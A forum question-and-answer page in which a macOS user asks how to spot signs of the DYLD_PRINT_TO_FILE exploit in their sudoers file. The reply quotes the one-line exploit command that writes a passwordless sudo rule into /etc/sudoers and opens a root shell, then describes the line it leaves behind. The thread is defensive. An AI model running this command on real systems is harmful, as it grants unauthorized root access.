I am concerned about the DYLD_PRINT_TO_FILE exploit in the sudoers file.


If I have my sudoers file open, what are the markers I should be looking for as a sign of infection? My sudoers file is actually quite small and too my (mostly untrained) eye, I don't see anything that would be a concern. But what are some examples of lines/variables that would indicate a problem?

Here's is the bottom half of my file, nothing there jumps out at me. Thoughts?

# User privilege specification
root    ALL=(ALL) ALL
%admin  ALL=(ALL) ALL

# Uncomment to allow people in group wheel to run all commands
# %wheel    ALL=(ALL) ALL

# Same thing without a password
# %wheel    ALL=(ALL) NOPASSWD: ALL

# Samples
# %users  ALL=/sbin/mount /cdrom,/sbin/umount /cdrom
# %users  localhost=/sbin/shutdown -h now

This is the infecting command:

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

This means, that you'll have line like:


at the end of your sudoers file.

NOTE: USERNAME is your username in the system. It won't have hash tag # in front.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .